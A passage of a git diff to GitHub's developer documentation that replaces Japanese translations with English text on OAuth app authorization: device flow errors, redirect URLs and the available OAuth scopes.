%}gho_16C7e42F292c6912E7710c838347Ae178B4a{% else %}e72e16c7e42f292c6912e7710c838347ae178b4a{% endif %}&token_type=bearer&scope=repo%2Cgist @@ -241,46 +240,52 @@ Accept: application/xml ``` -### デバイスフローのレート制限 +### Rate limits for the device flow -ユーザがブラウザ上で検証コードをサブミットする場合、アプリケーションごとに1時間に50回のサブミットというレート制限があります。 +When a user submits the verification code on the browser, there is a rate limit of 50 submissions in an hour per application. -リクエスト間で要求される最小の時間間隔（あるいは`interval`）内で複数のアクセストークンリクエスト（`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`）を発行すると、レート制限に達し、`slow_down`のエラーレスポンスが返されます。 `slow_down`エラーレスポンスは、最後の`interval`に5秒を追加します。 詳しい情報については[デバイスフローのエラー](#errors-for-the-device-flow)を参照してください。 +If you make more than one access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) within the required minimum timeframe between requests (or `interval`), you'll hit the rate limit and receive a `slow_down` error response. The `slow_down` error response adds 5 seconds to the last `interval`. For more information, see the [Errors for the device flow](#errors-for-the-device-flow). -### デバイスフローのエラーコード +### Error codes for the device flow -| エラーコード | 説明 | -| ------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `authorization_pending` | このエラーコードは、認可リクエストが保留中で、ユーザがユーザコードをまだ入力していない場合に生じます。 アプリケーションには[`interval`](#response-parameters)を超えない範囲で`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`リクエストをポーリングし続けることが期待されます。この際には、リクエスト間に最小の秒数を空けることが必要です。 | -| `slow_down` | `slow_down`エラーが返された場合、最小の`interval`、あるいは`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`を利用するリクエストの間に必要な時間間隔に5秒が追加されます。 たとえば、開始時のインターバルとしてリクエスト間に最小で5秒の間隔が必要だった場合に、`slow_down`エラーレスポンスが返されたなら、OAuthアクセストークンを求める新しいリクエストを発行するまでに最短でも10秒待たなければならなくなります。 エラーレスポンスには、使用しなければならない新しい`interval`が含まれます。 | -| `expired_token` | デバイスコードの有効期限が切れると、`token_expired`エラーが返されます。 デバイスコードを求める新しいリクエストを発行しなければなりません。 | -| `unsupported_grant_type` | OAuthトークンリクエストの`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`でポーリングする際には、許可タイプを`urn:ietf:params:oauth:grant-type:device_code`として、入力パラメータに含めなければなりません。 | -| `incorrect_client_credentials` | デバイスフローでは、アプリケーションのクライアントIDを渡さなければなりません。これは、アプリケーションの設定ページにあります。 デバイスフローでは`client_secret`は必要ありません。 | -| `incorrect_device_code` | 渡されたdevice_codeが有効ではありません。 | -| `access_denied` | 認可プロセスの間でユーザがキャンセルをクリックした場合、`access_denied`エラーが返され、ユーザは検証コードを再度利用することができなくなります。 | +| Error code | Description | +|----|----| +| `authorization_pending`| This error occurs when the authorization request is pending and the user hasn't entered the user code yet. The app is expected to keep polling the `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` request without exceeding the [`interval`](#response-parameters), which requires a minimum number of seconds between each request. | +| `slow_down` | When you receive the `slow_down` error, 5 extra seconds are added to the minimum `interval` or timeframe required between your requests using `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. For example, if the starting interval required at least 5 seconds between requests and you get a `slow_down` error response, you must now wait a minimum of 10 seconds before making a new request for an OAuth access token. The error response includes the new `interval` that you must use. +| `expired_token` | If the device code expired, then you will see the `token_expired` error. You must make a new request for a device code. +| `unsupported_grant_type` | The grant type must be `urn:ietf:params:oauth:grant-type:device_code` and included as an input parameter when you poll the OAuth token request `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. +| `incorrect_client_credentials` | For the device flow, you must pass your app's client ID, which you can find on your app settings page. The `client_secret` is not needed for the device flow. +| `incorrect_device_code` | The device_code provided is not valid. +| `access_denied` | When a user clicks cancel during the authorization process, you'll receive a `access_denied` error and the user won't be able to use the verification code again. -詳しい情報については、「[OAuth 2.0デバイス認可の許可](https://tools.ietf.org/html/rfc8628#section-3.5)」を参照してください。 +For more information, see the "[OAuth 2.0 Device Authorization Grant](https://tools.ietf.org/html/rfc8628#section-3.5)." {% endif %} -## 非Webアプリケーションフロー +## Non-Web application flow -テストのような限定的な状況では、非Web認証が利用できます。 必要な場合は、[個人アクセストークン設定ページ](/articles/creating-an-access-token-for-command-line-use)を使い、[Basic認証](/rest/overview/other-authentication-methods#basic-authentication)を利用して個人アクセストークンを作成できます。 この手法を使えば、ユーザはいつでもアクセスを取り消せます。 +Non-web authentication is available for limited situations like testing. If you need to, you can use [Basic Authentication](/rest/overview/other-authentication-methods#basic-authentication) to create a personal access token using your [Personal access tokens settings page](/articles/creating-an-access-token-for-command-line-use). This technique enables the user to revoke access at any time. {% ifversion fpt or ghes or ghec %} {% note %} -**ノート:** 非Webアプリケーションフローを使ってOAuth2トークンを作成する場合で、ユーザが2要素認証を有効化しているなら[2要素認証の利用](/rest/overview/other-authentication-methods#working-with-two-factor-authentication)方法を必ず理解しておいてください。 +**Note:** When using the non-web application flow to create an OAuth2 token, make sure to understand how to [work with +two-factor authentication](/rest/overview/other-authentication-methods#working-with-two-factor-authentication) if +you or your users have two-factor authentication enabled. {% endnote %} {% endif %} -## リダイレクトURL +## Redirect URLs -`redirect_uri`パラメータはオプションです。 指定しなかった場合、GitHubはOAuthアプリケーションで設定されているコールバックURLにユーザをリダイレクトさせます。 指定する場合、リダイレクトURLのホストとポートはコールバックURLと完全に一致していなければなりません。 リダイレクトURLのパスは、コールバックURLのサブディレクトリを参照していなければなりません。 +The `redirect_uri` parameter is optional. If left out, GitHub will +redirect users to the callback URL configured in the OAuth Application +settings. If provided, the redirect URL's host and port must exactly +match the callback URL. The redirect URL's path must reference a +subdirectory of the callback URL. CALLBACK: http://example.com/path - + GOOD: http://example.com/path GOOD: http://example.com/path/subdir/other BAD: http://example.com/bar @@ -289,31 +294,31 @@ Accept: application/xml BAD: http://oauth.example.com:8080/path BAD: http://example.org -### ローカルホストのリダイレクトURL +### Localhost redirect urls -オプションの`redirect_uri`パラメータは、ローカルホストURLにも使用できます。 アプリケーションがローカルホストのURLとポートを指定した場合、アプリケーションを認可した後ユーザは渡されたURLとポートにリダイレクトされます。 `redirect_uri`は、アプリケーションのコールバックURLで指定されたポートにマッチしている必要はありません。 +The optional `redirect_uri` parameter can also be used for localhost URLs. If the application specifies a localhost URL and a port, then after authorizing the application users will be redirected to the provided URL and port. The `redirect_uri` does not need to match the port specified in the callback url for the app. -`http://localhost/path`というコールバックURLに対して、以下の`redirect_uri`が利用できます。 +For the `http://localhost/path` callback URL, you can use this `redirect_uri`: ``` http://localhost:1234/path ``` -## OAuthアプリケーションに複数のトークンを作成する +## Creating multiple tokens for OAuth Apps -ユーザ／アプリケーション／スコープの組み合わせに対して複数のトークンを作成し、特定のユースケースに対応できます。 +You can create multiple tokens for a user/application/scope combination to create tokens for specific use cases. -OAuthアプリケーションが、サインインにGitHubを利用し、基本的なユーザ情報しか必要としないワークフローを1つサポートするだけであれば、これは有益です。 別のワークフローはユーザのプライベートリポジトリへのアクセスを必要としていてもかまいません。 複数のトークンを使えば、OAuthアプリケーションはそれぞれのユースケースに対してWebフローを実行でき、必要なスコープだけをリクエストします。 ユーザがサインインにアプリケーションだけを使うなら、ユーザは自分のプライベートリポジトリへのアクセスをOAuthアプリケーションに許可する必要はありません。 +This is useful if your OAuth App supports one workflow that uses GitHub for sign-in and only requires basic user information. Another workflow may require access to a user's private repositories. Using multiple tokens, your OAuth App can perform the web flow for each use case, requesting only the scopes needed. If a user only uses your application to sign in, they are never required to grant your OAuth App access to their private repositories. {% data reusables.apps.oauth-token-limit %} {% data reusables.apps.deletes_ssh_keys %} -## ユーザにアクセスをレビューしてもらう +## Directing users to review their access -OAuthアプリケーションへの認可情報へリンクし、ユーザがアプリケーションの認可をレビューし、取り消しできるようにすることができます。 +You can link to authorization information for an OAuth App so that users can review and revoke their application authorizations. -このリンクを構築するには、アプリケーションを登録したときにGitHubから受け取ったOAuthアプリケーションの`client_id`が必要です。 +To build this link, you'll need your OAuth Apps `client_id` that you received from GitHub when you registered the application. ``` {% data variables.product.oauth_host_code %}/settings/connections/applications/:client_id @@ -321,17 +326,17 @@ OAuthアプリケーションへの認可情報へリンクし、ユーザがア {% tip %} -**Tip:** OAuthアプリケーションがユーザのためにアクセスできるリソースについてさらに学ぶには、「[ユーザのためにリソースを見つける](/rest/guides/discovering-resources-for-a-user)」を参照してください。 +**Tip:** To learn more about the resources that your OAuth App can access for a user, see "[Discovering resources for a user](/rest/guides/discovering-resources-for-a-user)." {% endtip %} -## トラブルシューティング +## Troubleshooting -* 「[認可リクエストエラーのトラブルシューティング](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)」 -* 「[OAuthアプリケーションのアクセストークンのリクエストエラー](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)」 -{% ifversion fpt or ghae or ghes > 3.0 or ghec %}*「[デバイスフローエラー](#error-codes-for-the-device-flow)」{% endif %}{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %} +* "[Troubleshooting authorization request errors](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)" +* "[Troubleshooting OAuth App access token request errors](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)" +{% ifversion fpt or ghae or ghes > 3.0 or ghec %}* "[Device flow errors](#error-codes-for-the-device-flow)"{% endif %}{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %} * "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %} -## 参考リンク +## Further reading -- "[{% data variables.product.prodname_dotcom %} への認証について](/github/authenticating-to-github/about-authentication-to-github)" +- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)" diff --git a/translations/ja-JP/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/translations/ja-JP/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md index 9b70a18834..3dc9de0fb9 100644 --- a/translations/ja-JP/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md +++ b/translations/ja-JP/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md @@ -1,5 +1,5 @@ --- -title: OAuth Appのスコープ +title: Scopes for OAuth Apps intro: '{% data reusables.shortdesc.understanding_scopes_for_oauth_apps %}' redirect_from: - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps/ @@ -14,18 +14,17 @@ versions: topics: - OAuth Apps --- - -OAuth AppをGitHub上でセットアップする際には、要求されたスコープが認可フォーム上でユーザに表示されます。 +When setting up an OAuth App on GitHub, requested scopes are displayed to the user on the authorization form. {% note %} -**ノート:** GitHub Appを構築しているなら、認可リクエストでスコープを提供する必要はありません。 このことに関する詳細については「[GitHub Appのユーザの特定と認可](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)」を参照してください、 +**Note:** If you're building a GitHub App, you don’t need to provide scopes in your authorization request. For more on this, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." {% endnote %} -CLIツールなど、{% data variables.product.prodname_oauth_app %}がブラウザにアクセスできない場合、アプリケーションを認可するユーザのスコープを指定する必要はありません。 詳しい情報については「[OAuth Appの認可](/developers/apps/authorizing-oauth-apps#device-flow)」を参照してください。 +If your {% data variables.product.prodname_oauth_app %} doesn't have access to a browser, such as a CLI tool, then you don't need to specify a scope for users to authenticate to your app. For more information, see "[Authorizing OAuth apps](/developers/apps/authorizing-oauth-apps#device-flow)." -どのOAuthスコープを所有しているか、そしてAPIアクションが何を受け付けるかを知るには、ヘッダを確認してください。 +Check headers to see what OAuth scopes you have, and what the API action accepts: ```shell $ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/users/codertocat -I @@ -34,53 +33,54 @@ X-OAuth-Scopes: repo, user X-Accepted-OAuth-Scopes: user ``` -* `X-OAuth-Scopes`はトークンが認可したスコープをリストします。 -* `X-Accepted-OAuth-Scopes`は、アクションがチェックするスコープをリストします。 +* `X-OAuth-Scopes` lists the scopes your token has authorized. +* `X-Accepted-OAuth-Scopes` lists the scopes that the action checks for. -## 利用できるスコープ +## Available scopes -| 名前 | 説明 | -| ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion not ghae %} -| **`(スコープなし)`** | パブリックな情報への読み取りのみのアクセスを許可します (ユーザのプロフィール情報、リポジトリの情報、Gist){% endif %}{% ifversion ghes or ghae %} -| **`site_admin`** | サイト管理者に[{% data variables.product.prodname_ghe_server %}の管理APIエンドポイント](/rest/reference/enterprise-admin)へのアクセスを許可します。{% endif %} -| **`repo`** | プライベートリポジトリを含め、リポジトリへの完全なアクセスを許可します。 これにはコード、コミットのステータス、リポジトリおよびOrganizationのプロジェクト、招待、コラボレータ、Teamのメンバーシップの追加、デプロイメントのステータス、リポジトリとOrganizationのためのリポジトリwebhookが含まれます。 また、ユーザプロジェクトを管理する機能も許可します。 | -|  `repo:status` | {% ifversion not ghae %}パブリック{% else %}内部{% endif %}およびプライベートリポジトリのコミットステータスへの読み書きアクセスを許可します。 このスコープが必要になるのは、コードへのアクセスを許可*することなく*他のユーザあるいはサービスにプライベートリポジトリのコミットステータスへのアクセスを許可したい場合のみです。 | -|  `repo_deployment` | [デプロイメントステータス](/rest/reference/repos#deployments) for {% ifversion not ghae %}パブリック{% else %}内部{% endif %}およびプライベートリポジトリへのアクセスを許可します。 このスコープが必要になるのは、コードへのアクセスを許可*することなく*デプロイメントステータスへのアクセスをユーザまたはサービスに許可する場合のみです。{% ifversion not ghae %} -|  `public_repo` | アクセスをパブリックリポジトリのみに制限します。 これには、コード、コミットステータス、リポジトリプロジェクト、コラボレータ、パブリックリポジトリ及びOrganizationのデプロイメントステータスへの読み書きアクセスが含まれます。 パブリックリポジトリにStarを付けるためにも必要です。{% endif %} -|  `repo:invite` | リポジトリでのコラボレーションへの招待の承認／拒否を許可します。 このスコープが必要になるのは、コードへのアクセスを許可*することなく*他のユーザまたはサービスに招待へのアクセスを許可する場合のみです。{% ifversion fpt or ghes > 3.0 or ghec %} -|  `security_events` | 以下のアクセスを許可します。
                    [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning)中のセキュリティイベントへの読み取りおよび書き込みアクセス
                    [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning)中のセキュリティイベントへの読み取りおよび書き込みアクセス
                    このスコープが必要になるのは、コードへのアクセスを許可*することなく*他のユーザまたはサービスにセキュリティイベントへのアクセスを許可したい場合のみです。{% endif %}{% ifversion ghes < 3.1 %} -|  `security_events` | [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning)中のセキュリティイベントへの読み書きアクセスを許可します。 このスコープが必要になるのは、コードへのアクセスを許可*することなく*他のユーザまたはサービスにセキュリティイベントへのアクセスを許可したい場合のみです。{% endif %} -| **`admin:repo_hook`** | {% ifversion not ghae %}パブリック{% else %}内部{% endif %}およびプライベートリポジトリのリポジトリフックへの読み書き、ping、削除アクセスを許可します。 `repo`{% ifversion not ghae %}および`public_repo`スコープは、{% else %}{% endif %}リポジトリフックを含むリポジトリへの完全なアクセスを許可します。 アクセスをリポジトリフックのみに限定するには、`admin:repo_hook`スコープを使ってください。 | -|  `write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion not ghae %}パブリック{% else %}内部{% endif %}またはプライベートリポジトリ内のフックへの読み書きおよびpigアクセスを許可します。 | -|  `read:repo_hook` | {% ifversion not ghae %}パブリック{% else %}内部{% endif %}またはプライベートリポジトリ内のフックへの読み取りおよびpingアクセスを許可します。 | -| **`admin:org`** | OrganizationとそのTeam、プロジェクト、メンバーシップを完全に管理できます。 | -|  `write:org` | Organizationのメンバーシップ、Organizationのプロジェクト、Teamのメンバーシップへの読み書きアクセス。 | -|  `read:org` | Organizationのメンバーシップ、Organizationのプロジェクト、Teamのメンバーシップへの読み取りのみのアクセス。 | -| **`admin:public_key`** | 公開鍵を完全に管理できます。 | -|  `write:public_key` | 公開鍵の作成、リスト、詳細の表示。 | -|  `read:public_key` | 公開鍵のリストと詳細の表示。 | -| **`admin:org_hook`** | Organizationフックへの読み書き、ping、削除アクセスを許可します。 **ノート:** OAuthトークンがこれらのアクションを行えるのは、OAuth Appが作成したOrganizationフックに対してのみです。 個人アクセストークンがこれらのアクションを行えるのは、ユーザが作成したOrganizationフックに対してのみです。 | -| **`gist`** | Gistへの書き込みアクセスを許可します。 | -| **`notifications`** | 許可するアクセス:
                    * ユーザの通知に対する読み取りアクセス
                    * スレッドへの既読アクセス
                    * リポジトリへのWatch及びWatch解除のアクセス
                    * スレッドのサブスクリプションに対する読み書き及び削除アクセス。 | -| **`ユーザ`** | プロフィール情報にのみ読み書きアクセスを許可します。 このスコープには`user:email`と`user:follow`が含まれることに注意してください。 | -|  `read:user` | ユーザのプロフィールデータへの読み取りアクセスを許可します。 | -|  `user:email` | ユーザのメールアドレスへの読み取りアクセスを許可します。 | -|  `user:follow` | 他のユーザのフォローあるいはフォロー解除のアクセスを許可します。 | -| **`delete_repo`** | 管理可能なリポジトリの削除アクセスを許可します。 | -| **`write:discussion`** | Teamのディスカッションの読み書きアクセスを許可します。 | -|  `read:discussion` | Team ディスカッションの読み取りアクセスを許可します。{% ifversion fpt or ghae or ghec %} -| **`write:packages`** | {% data variables.product.prodname_registry %}でのパッケージのアップロードあるいは公開のアクセスを許可します。 詳しい情報については「[パッケージの公開](/github/managing-packages-with-github-packages/publishing-a-package)」を参照してください。 | -| **`read:packages`** | {% data variables.product.prodname_registry %}からのパッケージのダウンロードあるいはインストールのアクセスを許可します。 詳しい情報については「[パッケージのインストール](/github/managing-packages-with-github-packages/installing-a-package)」を参照してください。 | -| **`delete:packages`** | {% data variables.product.prodname_registry %}からのパッケージの削除アクセスを許可します。 詳しい情報については、 「{% ifversion fpt or ghes > 3.0 or ghec %}[パッケージを削除および復元する](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[パッケージを削除する](/packages/learn-github-packages/deleting-a-package){% endif %}」{% endif %}を参照してください。 | -| **`admin:gpg_key`** | GPGキーを完全に管理できます。 | -|  `write:gpg_key` | GPGキーの作成、リスト、詳細の表示ができます。 | -|  `read:gpg_key` | GPGキーのリストと詳細を表示できます。{% ifversion fpt or ghec %} -| **`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)." | -| **`ワークフロー`** | {% data variables.product.prodname_actions %}のワークフローファイルの追加と更新機能を許可します。 同じリポジトリ内の他のブランチに同じファイル（パスと内容が同じ）が存在する場合、ワークフローファイルはこのスコープがなくてもコミットできます。 ワークフローファイルは、異なるスコープのセットを持ちうる`GITHUB_TOKEN`を公開できます。 詳しい情報については、「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。{% endif %} +Name | Description +-----|-----------|{% ifversion not ghae %} +**`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %} +**`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %} +**`repo`** | Grants full access to repositories, including private repositories. That includes read/write access to code, commit statuses, repository and organization projects, invitations, collaborators, adding team memberships, deployment statuses, and repository webhooks for repositories and organizations. Also grants ability to manage user projects. + `repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code. + `repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %} + `public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %} + `repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes > 3.0 or ghec %} + `security_events` | Grants:
                    read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning)
                    read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning)
                    This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}{% ifversion ghes < 3.1 %} + `security_events` | Grants read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning). This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %} +**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks. + `write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. + `read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. +**`admin:org`** | Fully manage the organization and its teams, projects, and memberships. + `write:org`| Read and write access to organization membership, organization projects, and team membership. + `read:org`| Read-only access to organization membership, organization projects, and team membership. +**`admin:public_key`** | Fully manage public keys. + `write:public_key`| Create, list, and view details for public keys. + `read:public_key`| List and view details for public keys. +**`admin:org_hook`** | Grants read, write, ping, and delete access to organization hooks. **Note:** OAuth tokens will only be able to perform these actions on organization hooks which were created by the OAuth App. Personal access tokens will only be able to perform these actions on organization hooks created by a user. +**`gist`** | Grants write access to gists. +**`notifications`** | Grants:
                    * read access to a user's notifications
                    * mark as read access to threads
                    * watch and unwatch access to a repository, and
                    * read, write, and delete access to thread subscriptions. +**`user`** | Grants read/write access to profile info only. Note that this scope includes `user:email` and `user:follow`. + `read:user`| Grants access to read a user's profile data. + `user:email`| Grants read access to a user's email addresses. + `user:follow`| Grants access to follow or unfollow other users. +**`delete_repo`** | Grants access to delete adminable repositories. +**`write:discussion`** | Allows read and write access for team discussions. + `read:discussion` | Allows read access for team discussions.{% ifversion fpt or ghae or ghec %} +**`write:packages`** | Grants access to upload or publish a package in {% data variables.product.prodname_registry %}. For more information, see "[Publishing a package](/github/managing-packages-with-github-packages/publishing-a-package)". +**`read:packages`** | Grants access to download or install packages from {% data variables.product.prodname_registry %}. For more information, see "[Installing a package](/github/managing-packages-with-github-packages/installing-a-package)". +**`delete:packages`** | Grants access to delete packages from {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %} +**`admin:gpg_key`** | Fully manage GPG keys. + `write:gpg_key`| Create, list, and view details for GPG keys. + `read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %} +**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)." +**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."{% endif %} {% note %} -**ノート:**OAuth Appは最初のリダイレクトでスコープをリクエストできます。 スコープは、`%20`を使って、空白で区切って複数指定できます。 +**Note:** Your OAuth App can request the scopes in the initial redirection. You +can specify multiple scopes by separating them with a space using `%20`: https://github.com/login/oauth/authorize? client_id=...& @@ -88,16 +88,31 @@ X-Accepted-OAuth-Scopes: user {% endnote %} -## リクエストされたスコープと許可されたスコープ +## Requested scopes and granted scopes -`scope`属性は、トークンに添付された、ユーザが許可したスコープをリストします。 通常、これらのスコープはリクエストされたものと同じになります。 しかし、ユーザはスコープを編集でき、実質的にアプリケーションに対して元々リクエストされたよりも少ないアクセスだけを許可できます。 また、ユーザはOAuthフローが完了した後にトークンのスコープを編集することもできます。 この可能性を認識しておき、対応してアプリケーションの動作を調整しなければなりません。 +The `scope` attribute lists scopes attached to the token that were granted by +the user. Normally, these scopes will be identical to what you requested. +However, users can edit their scopes, effectively +granting your application less access than you originally requested. Also, users +can edit token scopes after the OAuth flow is completed. +You should be aware of this possibility and adjust your application's behavior +accordingly. -元々リクエストされたよりも少ないアクセスをユーザが許可した場合のエラーケースを処理することは重要です。 たとえば、アプリケーションはユーザに対し、機能が低下したり、行えないアクションがでてくることを警告したり、知らせたりすることができます。 +It's important to handle error cases where a user chooses to grant you +less access than you originally requested. For example, applications can warn +or otherwise communicate with their users that they will see reduced +functionality or be unable to perform some actions. -また、アプリケーションはいつでもユーザをフローに戻して追加の権限を得ようとすることができますが、ユーザは常に拒否できることを忘れないようにしてください。 +Also, applications can always send users back through the flow again to get +additional permission, but don’t forget that users can always say no. -変更できるトークンのスコープの扱いに関するヒントが提供亜sレテイル、[認証の基礎ガイド](/guides/basics-of-authentication/)を参照してください。 +Check out the [Basics of Authentication guide](/guides/basics-of-authentication/), which +provides tips on handling modifiable token scopes. -## 正規化されたスコープ +## Normalized scopes -複数のスコープがリクエストされた場合、トークンは正規化されたスコープのリストとともに保存され、リクエストされた他のスコープに暗黙のうちに含まれているスコープは破棄されます。 たとえば`user,gist,user:email`をリクエストすると、トークンには`user`と`gist`スコープだけが含まれます。これは、`user:email`スコープで許可されるアクセスは`user`スコープに含まれているためです。 +When requesting multiple scopes, the token is saved with a normalized list +of scopes, discarding those that are implicitly included by another requested +scope. For example, requesting `user,gist,user:email` will result in a +token with `user` and `gist` scopes only since the access granted with +`user:email` scope is included in the `user` scope. diff --git a/translations/ja-JP/content/developers/apps/getting-started-with-apps/about-apps.md b/translations/ja-JP/content/developers/apps/getting-started-with-apps/about-apps.md index 399fc759e0..bcb5178dfb 100644 --- a/translations/ja-JP/content/developers/apps/getting-started-with-apps/about-apps.md +++ b/translations/ja-JP/content/developers/apps/getting-started-with-apps/about-apps.md @@ -1,6 +1,6 @@ --- -title: アプリケーションについて -intro: '{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}API でインテグレーションを構築し、柔軟性を強化してワークフローの摩擦を軽減できます。{% ifversion fpt or ghec %}また、[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) で他のユーザとインテグレーションを共有することも可能です。{% endif %}' +title: About apps +intro: 'You can build integrations with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs to add flexibility and reduce friction in your own workflow.{% ifversion fpt or ghec %} You can also share integrations with others on [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace).{% endif %}' redirect_from: - /apps/building-integrations/setting-up-a-new-integration/ - /apps/building-integrations/ @@ -15,92 +15,91 @@ versions: topics: - GitHub Apps --- +Apps on {% data variables.product.prodname_dotcom %} allow you to automate and improve your workflow. You can build apps to improve your workflow.{% ifversion fpt or ghec %} You can also share or sell apps in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace). To learn how to list an app on {% data variables.product.prodname_marketplace %}, see "[Getting started with GitHub Marketplace](/marketplace/getting-started/)."{% endif %} -{% data variables.product.prodname_dotcom %} のアプリケーションを使用すると、ワークフローを自動化し改善できます。 アプリケーションを構築して、ワークフローを改善できます。{% ifversion fpt or ghec %} また、[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) でアプリケーションを共有または販売することも可能です。 {% data variables.product.prodname_marketplace %} にアプリを掲載する方法については、「[GitHub Marketplace を使ってみる](/marketplace/getting-started/)」を参照してください。{% endif %} - -{% data reusables.marketplace.github_apps_preferred %}。ただし、GitHub は {% data variables.product.prodname_oauth_apps %} と {% data variables.product.prodname_github_apps %} の両方をサポートしています。 アプリケーションのタイプ選択に関する情報については、「[GitHub App と OAuth App の違い](/developers/apps/differences-between-github-apps-and-oauth-apps)」を参照してください。 +{% data reusables.marketplace.github_apps_preferred %}, but GitHub supports both {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %}. For information on choosing a type of app, see "[Differences between GitHub Apps and OAuth Apps](/developers/apps/differences-between-github-apps-and-oauth-apps)." {% data reusables.apps.general-apps-restrictions %} -{% data variables.product.prodname_github_app %} を構築する手順については、「[はじめての {% data variables.product.prodname_github_app %} 構築](/apps/building-your-first-github-app)」を参照してください。 +For a walkthrough of the process of building a {% data variables.product.prodname_github_app %}, see "[Building Your First {% data variables.product.prodname_github_app %}](/apps/building-your-first-github-app)." -## {% data variables.product.prodname_github_apps %} について +## About {% data variables.product.prodname_github_apps %} -{% data variables.product.prodname_github_apps %} は GitHub の中でも主役級の存在です。 {% data variables.product.prodname_github_app %} は独自で動作し、独自の ID を使用して API 経由で直接アクションを実行します。つまり、ボットやサービスアカウントを別途維持する必要がありません。 +{% data variables.product.prodname_github_apps %} are first-class actors within GitHub. A {% data 